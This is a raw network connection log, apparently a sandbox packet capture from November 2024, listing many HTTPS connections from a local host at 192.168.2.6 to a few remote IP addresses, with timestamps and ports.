Nov 18, 2024 05:57:30.941953897 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.941960096 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.957293987 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.957736969 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.957763910 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.958230972 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.958241940 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.026288033 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.026963949 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.026977062 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.027590990 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.027595997 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.071604967 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.071675062 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.071724892 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.072017908 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.072031975 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.072041035 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.072046041 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.075407982 CET	49813	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.075490952 CET	443	49813	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.075583935 CET	49813	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.075752020 CET	49813	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.075787067 CET	443	49813	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.087407112 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.087472916 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.087522030 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.087676048 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.087676048 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.087688923 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.087697983 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.091197014 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.091291904 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.091392040 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.091562033 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.091602087 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.107498884 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.107850075 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.107861042 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.108208895 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.108212948 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.155596018 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.155793905 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.155909061 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.159813881 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.159832954 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.159843922 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.159849882 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.162904024 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.162957907 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.163047075 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.163194895 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.163213968 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.236673117 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.236758947 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.236825943 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.237019062 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.237037897 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.237050056 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.237055063 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.240217924 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.240267038 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.240389109 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.240588903 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.240605116 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.250813007 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:31.250901937 CET	443	49817	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:31.251004934 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:31.251749992 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:31.251779079 CET	443	49817	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:31.370685101 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.371368885 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.371392012 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.371778965 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.371784925 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.504513979 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.504589081 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.504650116 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.509151936 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.509177923 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.509192944 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.509201050 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.513379097 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.513473034 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.513551950 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.513817072 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.513851881 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.806334019 CET	443	49813	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.808334112 CET	49813	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.808398962 CET	443	49813	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.808800936 CET	49813	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.808819056 CET	443	49813	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.811458111 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.811723948 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.811760902 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.812056065 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.812068939 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.899152040 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.899740934 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.899775028 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.900181055 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.900187969 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.938502073 CET	443	49813	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.938563108 CET	443	49813	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.938627958 CET	49813	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.938811064 CET	49813	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.938839912 CET	443	49813	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.938857079 CET	49813	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.938864946 CET	443	49813	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.941322088 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.941410065 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.941515923 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.941632032 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.941653967 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.941752911 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.941777945 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.941829920 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.941840887 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.941889048 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.941994905 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.941996098 CET	49814	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.942035913 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.942059994 CET	443	49814	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.943790913 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.943820000 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.943891048 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.944174051 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.944186926 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.991332054 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.991760969 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.991785049 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:31.992177963 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:31.992182970 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.029341936 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.029431105 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.029530048 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.029659986 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.029659986 CET	49815	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.029685020 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.029697895 CET	443	49815	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.032166004 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.032210112 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.032298088 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.032438040 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.032464981 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.122546911 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.122587919 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.122658968 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.122692108 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.122723103 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.122936010 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.122952938 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.122963905 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.122970104 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.125310898 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.125355005 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.125431061 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.125559092 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.125567913 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.253154039 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.253618956 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.253643036 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.254070997 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.254076958 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.362529993 CET	443	49817	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:32.362721920 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:32.366982937 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:32.366992950 CET	443	49817	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:32.367325068 CET	443	49817	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:32.369190931 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:32.369221926 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:32.369226933 CET	443	49817	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:32.369326115 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:32.385052919 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.385140896 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.385207891 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.385492086 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.385505915 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.385515928 CET	49818	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.385523081 CET	443	49818	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.388643026 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.388725042 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.388837099 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.389058113 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.389092922 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.415330887 CET	443	49817	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:32.616444111 CET	443	49817	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:32.617207050 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:32.617228031 CET	443	49817	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:32.617244005 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:32.617643118 CET	443	49817	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:32.617723942 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:32.617738962 CET	49817	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:32.669555902 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.670101881 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.670121908 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.670509100 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.670512915 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.689804077 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.693000078 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.693041086 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.693370104 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.693377018 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.778965950 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.779418945 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.779464006 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.779823065 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.779836893 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.796670914 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.796818972 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.796880007 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.796911001 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.796926022 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.796935081 CET	49820	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.796941042 CET	443	49820	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.799134016 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.799177885 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.800095081 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.800235033 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.800254107 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.820911884 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.821084023 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.821156979 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.821216106 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.821216106 CET	49819	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.821245909 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.821269989 CET	443	49819	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.823362112 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.823395014 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.823466063 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.823574066 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.823585987 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.861488104 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.863125086 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.863147974 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.863528967 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.863533020 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.911489964 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.911525011 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.911602974 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.911715031 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.911921978 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.911921978 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.913615942 CET	49821	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.913656950 CET	443	49821	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.914441109 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.914489031 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.914566994 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.914733887 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.914751053 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.990714073 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.990900993 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.990978003 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.991012096 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.991012096 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.991029024 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.991036892 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.994342089 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.994371891 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:32.994425058 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.994561911 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:32.994575024 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.123924017 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.124346972 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.124380112 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.124753952 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.124766111 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.252222061 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.252383947 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.252485991 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.252814054 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.252814054 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.252835035 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.252844095 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.255225897 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.255297899 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.255377054 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.255491972 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.255505085 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.530970097 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.531708002 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.531728029 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.532126904 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.532135010 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.559287071 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.568068981 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.568093061 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.568867922 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.568872929 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.644191980 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.644634962 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.644658089 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.645066977 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.645076036 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.661904097 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.661963940 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.662055016 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.662168026 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.662188053 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.662201881 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.662209034 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.664813042 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.664864063 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.664933920 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.665066957 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.665086031 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.695945978 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.696011066 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.696120024 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.696180105 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.696237087 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.696257114 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.696270943 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.696283102 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.699016094 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.699120998 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.699218988 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.699353933 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.699373007 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.739803076 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.740263939 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.740293026 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.740657091 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.740660906 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.774388075 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.774466038 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.774627924 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.774693966 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.774693966 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.774715900 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.774728060 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.777167082 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.777216911 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.777318954 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.777448893 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.777465105 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.866106987 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.866173029 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.866303921 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.866379023 CET	49827	443	192.168.2.6	13.107.246.45
